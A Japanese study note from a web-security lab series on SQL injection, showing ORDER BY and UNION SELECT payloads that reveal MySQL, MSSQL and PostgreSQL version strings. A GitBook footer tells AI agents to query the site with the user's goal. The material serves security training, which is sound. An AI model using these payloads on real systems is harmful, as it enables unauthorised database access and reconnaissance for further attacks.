> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md).

# DBMSバージョン検出（MySQL、MSSQL、PostgreSQL）

PortSwigger Web Security Academy のラボ向けメモ。DBMSバージョン検出（MySQL、MSSQL、PostgreSQL）に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### SQLインジェクション攻撃、MySQLとMicrosoftでデータベースの種類とバージョンを照会する

* **背景 / 脆弱性:** `カテゴリ` SQLインジェクションに脆弱なフィルタ; アプリケーションはユーザー値を連結する `WHERE` 節。使用して `ORDER BY` / `UNION` カラム数の列挙を可能にし、その後バージョン値を抽出できます。
* **目的:** DBMSのリリース文字列を表示する。
* **簡単な手順:**

1. **列数を決定する**:/ ペイロード:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* （インデックスをエラーが発生するまで増やし、正確なカラム数を見つける）。

2. **UNIONを検証する** （選択する `UNION SELECT` 同じカラム数を持つもの）：/ 最小例 2カラム：

   ```sql
   ' UNION SELECT '1','2'-- -
   ```
3. **バージョンを取得** — エンジンに適した関数/変数を使う。

**ターゲットペイロード:**

* **Microsoft SQL Server（MSSQL）** — システム変数: `@@version`

  ````
      ```sql
      ' UNION SELECT '1', @@version-- -
      ```
  *   **MySQL** — 関数: `version()`（または変数 `@@version`）

      ```sql
      ' UNION SELECT '1', version()-- -
      ' UNION SELECT '1', @@version-- -
      ```
  *   **PostgreSQL** — 関数: `version()`

      ```sql
      ' UNION SELECT '1', version()-- -
      ```
  ````

> 脆弱なクエリに応じてカラム数とカラム順を調整する（例：型が異なる場合は UNION SELECT NULL, version()）。必要に応じて、型が一致すべきでないカラムには NULL を使用する。

* **解釈:** ページには、によって返される文字列が表示されます `@@version` / `version()` スイッチも含めることが推奨されます（例: `Microsoft SQL Server 2019 (RTM) - 15.x...`, `5.7.33-0ubuntu0.18.04.1`, `PostgreSQL 13.3 on x86_64-...`）、DBMSのフィンガープリント取得を可能にする。
* **影響:** バージョン固有のエクスプロイトの対象選定に役立つ情報漏えい、後続攻撃のリスク増大。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
